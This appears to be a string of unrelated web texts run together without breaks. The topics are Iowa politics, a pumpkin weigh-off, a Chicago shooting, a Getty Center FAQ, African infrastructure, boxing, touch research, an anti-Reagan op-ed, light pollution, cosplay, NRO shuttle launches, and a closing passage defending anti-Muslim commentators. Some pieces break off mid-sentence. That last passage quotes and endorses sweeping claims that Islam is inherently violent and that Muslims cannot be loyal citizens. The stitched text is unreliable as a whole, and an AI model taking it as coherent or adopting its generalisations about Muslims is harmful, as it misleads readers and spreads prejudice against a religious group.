Reynolds will hold the governor’s office until Branstad’s term ends in early 2019. Even before the ambassadorship arose, she had expressed interest in running for governor on her own in 2018, had Branstad opted not to seek another term.
Entering the 2018 race as the incumbent would give Reynolds a substantial advantage in what previously was expected to be a wide-open and competitive Republican primary, several Iowa political observers said. It will afford her financial and organizational support not only from the Republican Party of Iowa but also national organizations, like the Republican Governors Association.
And, already, potential rivals are responding. Iowa Secretary of Agriculture Bill Northey issued a statement Wednesday indicating he would not seek the governor’s office in 2018 and encouraging Iowa Republicans to “unite” behind Reynolds.
Another potential GOP candidate, Cedar Rapids Mayor Ron Corbett, acknowledged on Tuesday that Reynolds would be a tougher opponent as the incumbent governor, and said he’s currently focused on whether to seek another term as mayor.
U.S. Rep. Steve King, meanwhile, told The Hill newspaper in Washington on Wednesday that he would consider running for governor in 2018.
Branstad has history with China. The governor first met Xi in 1985, when he was a first-term governor and Xi was a Communist Party official from China’s Hebei Province visiting Iowa to learn about agricultural techniques. The pair rekindled their friendship in 2011, when Branstad met with Xi during a trade mission to China and invited him back to the state.
Xi, then the vice president of China, accepted Branstad’s offer in 2012, attending a state dinner at the Iowa Capitol, visiting “old friends” from his initial visit in Muscatine and touring a massive farming operation in Maxwell. He became the president of China less than a year later.
Branstad has led four trade missions to China since returning to office in 2011, including a trip to Beijing and Hebei just last month. Most of the trips were aimed at boosting Iowa’s agricultural exports to China, a world-leading consumer of soy and pork. The frequent visits and relationship with Xi mean the Chinese know and like Branstad, said Tim Albrecht, a former aide to the governor.
Former Iowa Gov. Tom Vilsack, a Democrat who has dealt with China as President Barack Obama's secretary of agriculture, called Branstad well-suited and well-prepared for the role.
“He's tenacious, and he's going to have to be; he's |
of the contest record by about 150 pounds.
At $6 a pound, Tobeck will receive nearly $11,500 in prize money.
___
11:35 a.m.
The great pumpkin weigh off is in full swing.
Farmers are in the process of having their giant pumpkins hoisted onto the scales and weighed in hopes of winning the 43rd annual Safeway World Championship Pumpkin Weigh-Off in Half Moon Bay, California.
KNTV reports (http://bit.ly/2d7OAEP) Farmer Cindy Tobeck, of Little Rock, Washington, says she's hoping to break a Washington state record this year with her pumpkin, which she hopes is more than 1,900 pounds.
Last year, Oregon farmer Steve Daletas won the 42nd Half Moon Bay pumpkin weigh-off, when his pumpkin came in at 1,969 pounds.
On Sunday, the Giant Pumpkin European Championship was held in Ludwigsburg, Germany, and a pumpkin weighing about 2,623 pounds took home the award for the heaviest. Anyone who breaks that record Monday in Half Moon Bay will win a special $30,000 mega prize
___
6:50 a.m.
California farmers are hoping to set records with their gargantuan plants this year at the annual pumpkin weigh-off in Half Moon Bay.
KNTV-TV reports (http://bit.ly/2dFVfsK ) that measurements are set to begin Monday morning for the 43rd annual Safeway World Championship Pumpkin Weigh-Off.
Last year, Oregon farmer Steve Daletas won the 42nd Half Moon Bay pumpkin weigh-off, when his pumpkin came in at 1,969 pounds.
Farmer Cindy Tobeck, of Little Rock, Washington, says she's hoping to break a Washington state record this year with her pumpkin, which she hopes is over 1,900 pounds.
The world record for largest pumpkin is 2,323 pounds. The record was set in October 2014 by Swiss grower Beni Meier at a weigh-off in Germany. Anyone who breaks that record will win a special $30,000 mega prize.
___
Information from: KNTV-TV.A 13-year-old Chicago boy who appeared in an award-winning public service video about the effect of gun violence on the city’s black youth was shot in the back and critically wounded, officials said Monday.
The boy, Zarriel Trotter, was struck by a stray bullet after two groups of youths began a “heated argument” Friday night on the city’s West Side and one person pulled out a handgun and started firing, Officer Jose Estrada said.
“He was not the intended target,” Officer Estrada said. “He was standing on the sidewalk.”
No one else was injured, and there have been no arrests so far, he added.
Zarriel, known to his friends and family as Zari, was one of several students who took part in a series of social media videos last year intended to highlight the toll that gun violence was taking on the black population.Admission is free. No ticket or reservation required.
On-site parking is $15 per car or motorcycle; $10 after 3 pm.
No. Parking is based on availability.
You can pay for parking at any of the parking pay stations located by the elevators on every level of the parking structure, as well as near the tram station at the top of the hill. You can also pay at the parking office at the tram departure station on the top level of the parking structure.
All pay stations accept credit cards and many accept cash.
Yes. Parking is $15 per car; $10 after 3 pm.
Is there parking in the neighborhoods surrounding the Getty Center?
No. Street parking in the neighborhoods is restricted.
I've got an oversized vehicle. Can I park at the Getty Center?
Parking is available for vehicles between 6'10" and 12'6" tall and of standard car length on level P1 of the parking structure.
There is no parking for RVs, motor homes, limousines, and other larger vehicles.
I've got an electric car. Can I plug in?
Yes. Parking with plug-ins for electric vehicles is available on a first-come, first-served basis.
Can I ride my bicycle or motorcycle to the Getty Center?
Yes. Motorcycles are charged $15 for parking. Bicycles park for free.
Groups of 15 or more motorcycles require a group reservation.
What are my public transportation options?
Metro bus lines 734 and 234 stop at the Getty Center entrance, located at the intersection of Getty Center Drive and Sepulveda Boulevard.
Metro Rapid Line 734 (opens in new window) runs Monday–Friday, and Metro Local 234 (opens in new window) runs weekends, holidays, early and late weekday hours.
Get complete route information from the Los Angeles County Metropolitan Transportation Authority (METRO): 323-GO-METRO (323-466-3876), or use the METRO Trip Planner.
Can I just be dropped off?
Yes. Passenger drop-offs are permitted from cars or vans of 15 passengers or less. For safety reasons, passengers should be dropped off in the designated area located outside of the main parking structure.
Alcoholic Beverages
Can I bring alcoholic beverages to the Getty Center?
No. But, beer and wine are available for purchase on site.
Foreign-Language Offerings
Do you have foreign-language materials or services available for visitors who do not speak English?
The GettyGuide multimedia player includes a tour of highlights of the collection at the Getty Museum in:
Brazilian Portuguese
French
German
Italian
Japanese
Korean
Mandarin Chinese
Russian
Spanish
GettyGuide is available free of charge at the GettyGuide Desk in the Museum Entrance Hall. You must leave a photo ID with staff at the desk.
A printed guide to the Getty Center is also available at the Information Desk in the Museum Entrance Hall in:
Chinese (Traditional)
English
French
German
Italian
Japanese
Korean
Russian
Spanish.
A Spanish-language orientation film about the Getty is available online: El Getty - Película de Orientación (opens in YouTube).
Group Visits
Can groups visit the Getty Center?
Yes. If your group includes more than 15 people, you must make a group reservation. We also have programs for K–12 school groups and college students. Cell Service and Wi-Fi Is there cell phone service at the Getty Center? Yes. But, reception can be spotty. If you plan to meet others at the Getty Center, we recommend that you agree on a meeting place and time before you arrive. The Tram Arrival Plaza (at the top of the hill where you’ll exit the tram) is a convenient meeting point. Does the Getty Center have Wi-Fi? Yes. You can connect to the free wireless network GettyLink in most galleries and at most public seating areas. Signal strength varies with location. Photography and Video Is photography allowed at the Getty Center? Handheld cameras, video cameras, and camera phones are welcome in all public outdoor spaces as well as in the permanent collection galleries, subject to the following: Photographs and videos are for personal use only and may not be sold.
Professional shoots, including wedding, engagement, maternity, and modeling, are not permitted.
Natural light only; no flash or other supplemental light.
Selfie sticks are welcome in public outdoor spaces only. To protect the art and for the safety and enjoyment of all visitors, selfie sticks are not allowed inside.
Tripods, monopods, handheld microphones, and other external equipment are not permitted.
A safe distance must be maintained from all artwork, cases, platforms, and pedestals. Cameras must be kept a minimum of 18 inches away from artwork and may never be held over an artwork. Some works of art in the permanent galleries may be restricted; please do not photograph or videotape any work with this symbol: Photography and video of artworks on loan for changing exhibitions are sometimes prohibited by lenders. Please check at the entrances of changing exhibitions for any restrictions in those galleries. Where permitted, photography and video are subject to the same conditions described above. Outdoor sculptures and works of art displayed in the galleries may also be protected by copyright law. See the full photography and video policy. Smoking Is smoking allowed at the Getty Center? No. Smoking is not allowed anywhere at the Getty Center or Getty Villa, including parking garages, arrival areas, and adjacent bus stops. This includes cigars, pipes, cigarettes, electronic cigarettes, vapor cigarettes, chewing tobacco, tobacco-related product, or any controlled substance. Animals Can I bring my pet to the Getty Center? No. Pets are not allowed on the Getty Center grounds or in the parking areas. Service animals, such as guide dogs for the blind, are permitted.
Bags, Coat Check, and Umbrellas
Can I bring large bags and luggage to the Getty Center?
Yes. But, backpacks, umbrellas, bags, purses, and packages larger than 11 x 17 x 8 inches must be checked at the Coat Check in the Museum Entrance Hall.
Please note that all bags may be subject to security inspection. Hazardous materials (e.g., pepper spray) and weapons of any kind are prohibited and cannot be checked.
Does the Getty Center really provide umbrellas for visitors?
Yes. Time outdoors is part of any visit to the Getty Center and Villa. On rainy days, or when the summer sun gets too intense, umbrellas are available for your use while visiting the site. Pick one up and drop it off from bins near the Tram station or Museum entrance.
Pokémon GO
Can I play Pokémon GO at the Getty Center?
Yes. There are 11 PokéStops and five Gyms on site. While we understand you gotta catch ‘em all, please do so with care for the safety of the art and respect for your fellow visitors. Keep the following in mind:
Be aware of your surroundings.
Keep a minimum of 18 inches away from artwork.
Don’t stop in narrow public walkways or stairways for several minutes.
Don’t try to access restricted, staff-only locations.
Other Questions
My question isn't answered here. Who can I contact?
Visitor Services staff are ready to help with any questions you may have at (310) 440-7300.Story highlights Great Inga Dam, Congo, could become the world's largest hydroelectric dam
Kenya's Konza City is one of many futuristic cities in the pipeline
Ethiopia's Grand Renaissance Dam will serve neighboring Sudan and Egypt
Resource rich and home to some of the world's fastest-growing economies, the stage is set for Africa to become the world's next industrial juggernaut.
But making this dream a reality remains a major challenge.
A lack of railways, ports and quality roads has hindered Africa's development in recent years. But today, economic heavyweights such as China and India are pumping billions of dollars into Africa to transform the continent's fortunes and stake a claim in the world's next high-growth territory.
And last month, the African Development Bank and the Africa Foundation launched a fundraising initiative for Africa50, a project aimed at speeding up infrastructure ventures on the continent.
Here, CNN takes a look at some of the big projects set to take Africa by storm. Tell us what you think about them in the comments section below.
Great Inga Dam -- Democratic Republic of the Congo
Potentially the world's largest hydroelectric dam, the Great Inga is a project to tame the mighty Congo River and provide much-needed renewable energy for up to 500 million Africans.
With work scheduled to begin in October 2015, it's claimed the Great Inga would produce 40,000 megawatts (MW) of energy, that's twice as much as China's Three Gorges Dam, currently the world's largest.
In May, the government of the Democratic Republic of Congo announced the first phase of its grandiose plan, a $12 billion development, dubbed Inga 3, which will produce 4,800 MW.
World Bank estimates suggest that just 11.1% of DRC's population has access to electricity. But with the whole project estimated to cost $80 billion, analysts says that raising funds will be a challenge.
JUST WATCHED Economist: Africa needs infrastructure Replay More Videos... MUST WATCH Economist: Africa needs infrastructure 04:58
Mombasa -- Kampala -- Kigali railway project -- Kenya/Uganda/Rwanda
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Stretching almost 3,000 kilometers and connecting three East African countries, the Mombasa-Kigali railway could be the continent's answer to the Orient Express.
JUST WATCHED Zambia's investment in infrastructure Replay More Videos... MUST WATCH Zambia's investment in infrastructure 03:34
Starting in Kenya's second city with a stop-off at the Ugandan capital, Kampala, the rail line will circumvent Lake Victoria before heading for its final destination of Kigali, Rwanda.
With work scheduled to start on the Mombasa-Nairobi section next month, the whole project is due to be completed by March 2018 with an estimated cost of $13.5 billion.
Konza City -- Kenya
Konza City is a $9.2 billion dollar technology and financial metropolis project located southeast of Nairobi.
Dubbed the "African Silicon Savannah" the project is part of "Vision 2030," the Kenyan government's plan to improve the quality of life for its citizens.
The government expects the city to provide 100,000 jobs and will include a business district, a university, residential areas and city parks.
But the state will provide only 5% of the funding, with the rest expected to come through land leases to private companies.
Ethio-Djibouti railway -- Ethiopia/Djibouti
This 650-kilometer railway will link up the Ethiopian capital of Addis Ababa and the Port of Doraleh in the small Red Sea nation of Djibouti.
Djibouti represents Ethiopia's only seaport access and would significantly reduce the cost of goods and transportation for the landlocked country.
The Grand Ethiopian Renaissance Dam -- Ethiopia
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Scheduled to be completed by July 2017, the enormous barrier will cost the Ethiopian government $4.7 billion and is being assembled by Italian engineering firm Salini Costruttori.
The Renaissance Dam will sit on the Blue Nile river in the Benishangul-Gumuz region. Creating 12,000 jobs and generating 6,000 MW of energy, the dam will also serve neighboring Sudan and Egypt, which both rely of the Nile River's water resources.
The project has caused controversy in Sudan and Egypt, as both countries are concerned the dam will give Ethiopia control over the flow of water.
Jasper project -- South Africa
Once completed, the Jasper Power Project will be a 96 MW solar photovoltaic (PV) plant in South Africa's Northern Cape -- one of the biggest solar installations in the continent.
In May this year, Internet giant Google, which has spent more than $1 billion in renewable energy projects in the United States and Europe in recent years, made a $12 million investment in the scheme.
The project will create 300 construction jobs and 50 permanent operational jobs, according to the South African Department of Energy.
The joint venture is part of South Africa's ambitious target of generating 18 gigawatts (GW) of clean energy by 2030 and reducing its dependency on coal.
Other African countries are also following the solar craze. Earlier this year, Mauritania, in West Africa, launched what's described as Africa's biggest solar PV plant so far, a 15 MW solar PV plant that will supply energy to nearly 10,000 homes.
Lagos Metro Blue Line
A major cosmopolitan transport project to connect Nigeria's largest city, the Lagos Metro Blue Line is designed to ease congestion and speed up journey times for the city's inhabitants.
The Blue Line will run between Marina and Okokomaiko stopping at 13 stations and is part of the Lagos Rail Mass Transit program implemented by the government.
However, funding issues mean the Blue Line launch has been pushed back to 2015. The Line is set to cost $1.2 billion and will be funded by the Lagos State Government. Rail operator Eko Rail has a 25-year contract to run and maintain the service."The fight will be on June 14. We've already held negotiations with potential rivals for two months. This week, we need to find out who Ruslan's next opponent will be. Possibly Ruslan's opponent will be Algieri. The fight will likely be held in New York," Kornilov said.
Negotiations for Ruslan Provodnikov's next fight has been ongoing for two rounds, according to the WBO champion's manager Vadim Kornilov. Provodnikov (23-2, 16KOs) is scheduled to make the first defense of his title on June 14th. Several names have been mentioned over the last few weeks, including Brandon Rios, Antonio DeMarco and Hank Lundy, but Kornilov says undefeated Chris Algieri (19-0, 8KOs) is potentially going to be the HBO televised opponent.
Rios and JCC Jr are in the same boat as far as I am concerned. And that ship has sailed and I only care to see it going into retirement. Both shop worn and underwhelming once they outgrew their bodies…
Right now, boxing fans are getting milked by bad breast feeders.....Provodnikov don't wanna see Rios for whatever reason....Marquez been fighting above 140 for years but he still was begging for a bone....Rios has one fight at WW and now all…
Garbage fight
[QUOTE=TRTboy;14383304]Why the are they passing on the Rios fight?? What the **** is going on with the " Siberian rocky? He fought Bradley at 147 I don't see why he can't fight rios who only has one fight at 147…
Why the are they passing on the Rios fight?? What the **** is going on with the " Siberian rocky? He fought Bradley at 147 I don't see why he can't fight rios who only has one fight at 147…By Jenny Carpenter
Science reporter, BBC News
Healing hands: the scientists looked into our sense of touch A new touch-sensitive nerve fibre responsible for the sense of pleasure experienced during stroking has been described at a UK conference today. The nerves tap into a human's reward pathways, and could help explain why we enjoy grooming and a good hug, a neuroscientist has explained. His team used a stroking machine to reveal the optimal speed and pressure for the most enjoyable caress. The research was presented at the British Association Science Festival. Mothers stroke their children, monkeys groom group members, and we all enjoy a massage, but what is it about stroking and rubbing that we find so enjoyable? "People groom because it feels good," said Professor Francis McGlone, a cognitive neuroscientist at Unilever R&D, but went on to explain that little is known about how we experience the pleasure of touch. In order to isolate the touch-sensitive nerves responsible for the pleasure experienced during stroking, Professor McGlone designed a "rotary tactile stimulator" - a high-tech stroking machine. "We have built some very sophisticated equipment, so the stimulus [of stroking] is very repeatable. "We stroke the skin [of the forearm, foreleg, and face] with a brush at different velocities, and then asked the volunteers to rate how they liked it," he explained. He also inserted microelectrodes through the skin, into a nerve, to record the neural signals running from the skin to the brain. "It is like tapping a single phone-line and listening for the chatter that comes down that line," he told the conference. Feel-good chemicals By comparing how the neural signals corresponded with how much the volunteers enjoyed the stroking, he was able to pin down people's pleasure to one set of nerves called "C-fibres". He thinks that the stroking movements are activating C-fibres, which are wired into the rewards systems in the brain, causing the release of feel-good hormones. Professor McGlone points out that these touch nerves are not responsible for the pleasure experienced from rubbing sexual organs, nor are they found in a person's palms or soles. "Experiencing pleasure when grappling with tools or walking, would make both task difficult to do with any accuracy," he suggested. The Liverpool-based researcher showed that stroking speeds of about 5cm per second, while applying 2g of pressure per square cm is optimal, and gave the volunteers most pleasure. He explained that the pleasure messages are conveyed from the skin to the brain, by similar types of nerve fibres as those that transmit the sensation of pain. "This is interesting as we often rub a pain to try to alleviate it," he said. This could explain why the pain experienced by people exposed to a painful thermal stimulus, lessens when the region of the stimulus is simultaneously stroked. Stroking could be used to treat chronic pain, he suggests.
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In the 48 hours since the Supreme Court gutted Section 4 of the Voting Rights Act, six of the nine states that had been subject to the law’s “preclearance” formula have already taken steps to restrict voting.
In Texas, just two hours after Tuesday’s Supreme Court decision came down, that state’s attorney general issued a statement saying that Texas’ voter ID law and gerrymandering plan could go into effect immediately.
And, similar actions are being taken in Mississippi, Alabama, Arkansas, South Carolina and Virginia.
But this war against voters didn’t begin on Tuesday, or last week, or last month, or even last year.
The war against voters started in 1980, when Ronald Reagan took over the presidency.
In fact, it started before he even stepped foot inside of the White House.
Reagan’s first speech during his campaign for the presidency took place at the Neshoba County Fair in Neshoba County, Mississippi, that at the time was a white-supremacist stronghold.
Reagan’s campaign chose the event, and the area, for his first campaign speech because it was a way to gather votes from racists.
Neshoba County was the same county where several activists and civil rights advocates had been murdered in 1964. They were shot to death by racists who were enraged by the idea of African Americans having not only equal rights, but the right to vote.
During his presidency, Reagan opposed the Voting Rights Act of 1965, and said that the Voting Rights Act was “humiliating to the South.”
In the years since Reagan took office and the Reagan Revolution swept across America, Americans have lost their faith in the notion that everyone has a voice in the American democracy.
But besides losing faith in the very foundations on which our nation was built, what else has America lost since the not-so-good-old-days of Reagan?
To start, we’ve lost our ability to keep corporations in check, and to prevent them from stealing millions from the working class.
Thanks to Reagan, corporate theft and illegal behaviors have skyrocketed, because he did away with government oversight and regulation of corporate America. As a result, since the Reagan Revolution, corporations have run roughshod over the America economy and our democracy.
Reagan’s policies led to one of the greatest financial scandal in American history: the Savings & Loan debacle which cost taxpayers billions of dollars and set the stage for the weak banking regulations of today.
And, if people like Senator Phil Graham, following Reagan’s philosophies hadn’t done away with regulation and oversight of America’s big banks, the financial scandals that have taken place over the last decade could have been largely prevented.
Meanwhile, as Reagan was helping out corporate America, he was waging an all-out war on labor in America.
His attacks on organized labor in America and the NLRB drove down employee wages. His all-out assault on labor, and his staunch opposition towards the minimum wage helped contribute to three decades of flat wages, while CEO and executive pay went through the roof.
Between 1983 and 1988, Reagan’s policies led to 10 million Americans losing their jobs through an epidemic of plant closings and layoffs. And of those 10 million who lost their jobs, many were forced to take lower paying jobs.
Under Reagan, the number of families living below the poverty line exploded by one-third, and these same families were then hit by Reagan’s cuts to social-welfare programs like Medicaid and food stamps.
And, since Reagan took office, the share of total before-tax income flowing to top 1 percent of Americans has doubled.
The destruction of our economy since Reagan took office is largely thanks to his failed theory of trickle-down economics, that has been debunked over and over and over again. And, since Reagan was so obsessed with this notion, he did nothing to reduce the levels of poverty, and the growing income gap in America.
But a strong economy and government oversight of corporate America aren’t the only things America has lost since Reagan stepped foot inside of the White House.
America has lost its trust in government, and continues to struggle to get it back.
After all, The Reagan administration was one of the most corrupt in American history, including by one estimate 31 Reagan-era convictions, including 14 convictions in the Iran-Contra affair and 16 in the Department of Housing & Urban Development scandal.
As David R. Simon and D. Stanley Eitzen write in Elite Deviance, 138 appointees of the Reagan administration either resigned under an ethical cloud or were indicted criminally.
Reagan’s “government isn’t the solution, it’s the problem” mantra continues to cause record levels of distrust and dislike in the American government. As a result, civic participation has fallen, and Americans are skeptical at best about participating in public service.
Meanwhile, how can Americans trust a government that threw hundreds of thousands of citizens onto the streets?
In the early 1980’s, in an attempt to cut costs, the Reagan administration directed the Social Security Administration to pare the SSI and SSDI rolls.
Social Security administrators responded by conjuring up definitions of mental illness that were different from those used in the past and from those used by mental health professionals in America.
And, in 1981, the Omnibus Budget Reconciliation Act repealed the provisions of the National Mental Health Systems Act, cut federal mental health and substance abuse funding by twenty-five percent, and converted them to block grants disbursed with few strings attached, and fewer dollars going to the states.
As a result, states had to cut a number of mental health programs since they couldn’t afford them, and thousands of mentally ill Americans were forced onto the streets, causing the homeless population in America to soar.
Make no mistake about it.
From devastating the economy, to gutting social welfare programs, and helping to send thousands of Americans to the streets, the Reagan Revolution was a complete disaster for this nation, no matter what Conservatives will try to tell you.
It’s time to move away from the days of the Reagan Revolution once and for all, because those days represent a giant failure, and some of the darkest days in this nation’s history.Light pollution is a threat to Utah's dark skies
The view to the east of Cedar Breaks National Monument, away from the lights of the Interstate 15 corridor. (Photo: Zach Schierl/Cedar Breaks National Monument)
While we turn on more and more lights, we are also turning off more and more stars.
One hundred years ago, you could see the Milky Way and thousands of stars when looking up at the sky from anywhere in the world. That is no longer true.
The old adage, “There are as many stars in the sky as grains of sand on the beach,” might still apply but you can no longer see them.
Why is this happening? What is causing this? Easy answer, it’s all of us.
Electricity is a wonderful invention, of course. It allowed man to enjoy and work in the dark and to become much more productive. However, in doing so, we have become careless.
This editorial board is not suggesting we do away with light. What we do suggest is that we should only light what we need lit.
Consider this: In a pristine dark sky, one can see between 6,000-7,000 stars. At Cedar Breaks National Monument, you can see approximately 5,000 stars. But, just a few miles away, in Cedar City’s historic downtown, you can only see about 2,000 stars.
We who live in Southern Utah have much to lose if we lose our night sky. Millions of tourists visit our parks and monuments — and the dark sky is one of the major attractions.
The light pollution problem is becoming so acute that some national parks and monuments are beginning to hire specialists to educate residents and visitors alike. The parks also hope to work with influential local groups and elected officials to protect our dark sky.
The lights from Cedar City, as seen from Cedar Breaks National Monument. (Photo: Zach Schierl/Cedar Breaks National Monument)
Recently, Cedar Breaks National Monument hired Zach Schierl to work specifically on dark sky issues.
“The solution is quite simple: Light only what needs to be lit and ensure that lights are aimed down at the ground where they are needed rather than up into the sky,” he tells us. “We must strengthen the connection with our skies. The lights of Las Vegas can be seen from throughout Southern Utah. From Cedar Breaks National Monument, the light domes from Cedar City, St. George, Brian Head and Panguitch can all be easily seen at night.
“While the skies at Cedar Breaks are very dark, they are not pristine and will only continue to degrade if more thought is not given to using outdoor lighting responsibly in surrounding communities.”
The same is true at Utah’s other national parks and monuments – including Bryce Canyon National Park, which hosts an annual astronomy festival that draws visitors from around the world to enjoy the dark skies. Several other destinations — Canyonlands and Capitol Reef national parks and Dead Horse Point State Park, to name a few — are designated as International Dark Sky Parks by the International Dark Sky Association.
It’s entirely possible for us to make a difference, too.
We need to look no further than Flagstaff, Arizona, to find an International Dark Sky City. Flagstaff enjoys an active dark sky coalition supported by business, government agencies and private citizens alike in an economically vibrant city.
The nighttime view from Cedar Breaks National Monument north toward Brian Head and Parowan. (Photo: Zach Schierl/Cedar Breaks National Monument)
Why not us?
The self-proclaimed University of the Parks, Southern Utah University, wants to help lead the way.
“I learned a few years ago that some of our students, for example international students from large metropolitan areas, had never seen a star in their lives,” SUU President Scott L Wyatt tells us. “The first time was after arriving in Utah and starting school here.”
The university’s future pursuits include LED fixtures at Eccles Coliseum, as well as for campus walkway lights, says Tiger Funk, SUU’s executive director of facilities management. The LED lighting would also produce energy savings for the university, he says.
“As the University of the Parks, whose campus is as beautiful as a park, we are very interested in preserving and enhancing the beauty of the night sky for our students and community as much as possible,” Wyatt says.
We can each play a part in reducing light pollution — in our own homes, our neighborhoods, our communities. It starts at the switch.
It’s not too late to reclaim and preserve our dark skies — for ourselves and all those who will come after us.
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We pretend to be a fan of Warhammer; we are not, but that doesn’t stop our jaws from dropping when we first lay eyes on this fantastic cosplay costume by avid cosplay artist known by the handle of Grand Artifice. Grand Artifice has created many cosplay costumes, but this Warhammer 40K World Eaters Cataphractii Terminator Armor has got to be his most outstanding work. This super detail armored suit based on the popular tabletop miniature war game just leaves us in complete awe. Seriously, no words can describe our admiration for this masterpiece. We can’t believe the details went into it. Just look at the grunge look complete with battle scars, which apparently, were added when Grand Artifice had nothing but boredom to accompany him.
Our only comment is, the arms do looks kind of short. In any case, the World Eaters Cataphractii Terminator Armor was an awesome display of creativity and workmanship. Man, I wish I had this kind of talent. Anywho, not surprisingly, Grand Artifice hard work paid off when he bagged himself the best in show award at the ShadoCon: Florida’s Anime, Video Game and Comics Convention this past November. Congratulation! Don’t stop creating, Grand Artifice. We hope to see more brilliant work from you. Continue reading for a few more beautiful images of the Terminator Armor.
Images: MK2 Imaging
Additional images by PhotosNXS and Johnny H Le Photography
via Cosplay GamerWhat’s the first thing you think about when you think of NASA’s space shuttle program? Sally Ride? Spinning in microgravity? The Challenger explosion? That episode of the Simpsons? You might not think about the US military and intelligence community launching spy satellites, but you should. NASA’s shuttles were designed specifically to carry US spy satellites to orbit. And we got our hands on a newly declassified document about the top secret plans.
Before you get too excited, all the juiciest bits are redacted. I filed a Freedom of Information Act (FOIA) request for the document with the National Reconnaissance Office (NRO), and it leaves way more questions than it answers. But it’s precisely those redactions that make it such an interesting document.
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The 17-page document is titled “Declassifying the ‘Fact of’ the NRO’s Use of the Space Shuttle as a Launch Vehicle.” And it’s exactly what it sounds like.
The document, which I’ve uploaded to Scribd in its entirety, was produced in July of 2001 to determine whether the highly secretive National Reconnaissance Office should even acknowledge that it not only regularly used the space shuttles to launch spy satellites, but that it helped design the shuttles for this purpose.
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The NRO isn’t as well known as the CIA or the NSA, but the agency plays a pivotal role in keeping an eye on the planet for America’s intelligence community. They’re the folks that keep tabs on the entire planet from above using more advanced cameras and satellites than civilians could even dream of. Officially, the NRO’s budget is a secret, but it’s estimated to be at least $10 billion per year.
The document I obtained through a FOIA request was produced in 2001, but there was no announcement made about any of it at the time. The entire purpose of the document, as you’ll see by the end, was to basically address what would happen if this information ever became widely known. It wasn’t until a decade later that it did, as the existence of NRO satellites launched by the shuttle, like the Hexagon, were declassified.
But the American public is still largely in the dark about how NASA is used for spying and military purposes.
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The document starts with an executive summary that gets to the heart of the matter: While it’s fine to declassify the simple fact that the NRO used the space shuttle to launch spy satellites, absolutely none of the specifics should be released yet:
Following analysis of key risk areas, the declassification of the “fact of” NRO’s use of the Space Shuttle as a launch vehicle is an appropriate result of evolving classification policy. All related programmatic data, however, should maintain appropriate classification. No other information beyond “fact of” should be declassified.
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Everything from engineering data, to operational data, to management data was to be withheld and areas where this document gets near those subjects are redacted. But the brief summaries about NRO and the military’s deep involvement with NASA are interesting nonetheless.
One excerpt from the document explains that the NRO was involved in designing the space shuttle program to ensure that it met their needs:
Air Force and NRO officials participated in the design of the Shuttle throughout the 1970s, in particular the sizing of its manned orbiter payload bay to accommodate anticipated spacecraft growth. The Air Force also contributed funds to its development during this time. The Space Shuttle was expected to meet the launch requirements of both NASA and the Department of Defense (DoD). In January 1977, President Ford’s departing Deputy Secretary of Defense Clements executed a “NASA/DoD Memorandum of Understanding” that pledged the Defense Department to use the Space Shuttle as its “primary vehicle for placing payloads in orbit.” President Carter’s incoming Air Force Under Secretary, Hans Mark, who favored plans to use the Space Shuttle as the primary launch vehicle for National Reconnaissance Program (NRP) payloads, further reinforced this sentiment.
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But it’s not long before we get to the stuff that’s still classified. For instance, the date when the NRO launched its first satellite on the space shuttle? Redacted.
In fact, the paragraph after that is completely redacted before we jump to 1986 and the disaster of the Challenger explosion:
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It’s during this period that it becomes clear, despite the redactions, that things had gone wrong with the US military’s plans to use the space shuttle as a dependable way to get assets into space.
The NRO and Air Force clearly have to start making alternate plans, which is something that James E. David’s 2015 book Spies and Satellites touches on in some detail.
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The next few pages raise questions of everything from the consideration of foreign arrangements and treaties to the possibility that people will start submitting Freedom of Information Act requests to unmask the details of these programs to put spy satellites in space using what was ostensibly a civilian agency with a peaceful mission, NASA.
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The fact that military and intelligence community personnel were working at NASA is also a sensitive subject. In fact, a portion of the document refers to “ongoing efforts,” which you can be sure are still part of virtually everything America does in space.
The document ends by explaining that the NRO won’t be releasing any kind of statement about the fact that it’s declassifying the existence of spy satellites launched by the shuttle program. But it does have a guide for public relations.
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The Q&A portion of |
David Yerushalmi, co-founder of the American Freedom Law Center
Each of these individuals seeks, in writings and speeches that are firmly rooted in factual information, to inform the American public about the beliefs, values, agendas, and activities of Islamic jihadists, and about the potential consequences of widespread Muslim immigration to the United States. But SPLC—rather than simply asserting that it views the arguments or conclusions of these authors as flawed—instead smears them as wild-eyed Islamophobes who, as in the case of Gaffney, are “gripped by paranoid fantasies about Muslims destroying the West from within.” Consider, for instance, some of the easily verifiable—or at least arguable—statements that SPLC has cited as evidence of unhinged bigotry:
Corcoran's assertion that “we have made a grievous error in taking the Muslim refugees, Somalis in particular, who have no intention of becoming Americans”;
Emerson's assertion that the Obama administration “extensively collaborates” with the Muslim Brotherhood, and that Europe has numerous “no-go zones” which non-Muslims cannot enter without great peril to their own safety;
Gabriel's assertion that any “practicing Muslim who believes the word of the Koran to be the word of Allah” and embraces Sharia Law “cannot be a loyal citizen of the United States,” and that Islamists' “ideology … forbids them to assimilate” to Western culture;
Gaffney's assertion that “we’re witnessing not just the violent kind of jihad that these Islamists believe God compels them to engage in, but also, where they must for tactical reasons, a more stealthy kind, or civilizational jihad as the Muslim Brotherhood calls it”;
Geller's assertion that Islam is “the most radical and extreme ideology on the face of the earth”;
Hirsi Ali's assertion that Islamic schools in the West should be shut down, and that “violence is inherent in Islam”;
Horowitz's 2008 ad campaign stating that the Muslim Students Association was “founded by members of the Muslim Brotherhood, the godfather of Al Qaeda and Hamas, to bring jihad into the heart of American higher education” (SPLC had once dubbed Horowitz himself as “the godfather of the anti-Muslim movement”);
Muise's assertion that “stealth jihadists … covertly seek to perpetuate sharia into American society,” and that “80% of the mosques in the United States distribute literature that promotes violence against nonbelievers”;
Pipes's assertion that the infamous terrorist organization ISIS is “100 percent Islamic” and “profoundly Islamic”;
Spencer's assertion that “traditional Islam itself is not moderate or peaceful,” and “is the only major world religion with a developed doctrine and tradition of warfare against unbelievers”; and
Yerushalmi's assertion that “our greatest enemy today is Islam,” and that “the only Islam appearing in any formal way around the world is one that seeks a world Caliphate through murder, terror and fear.”
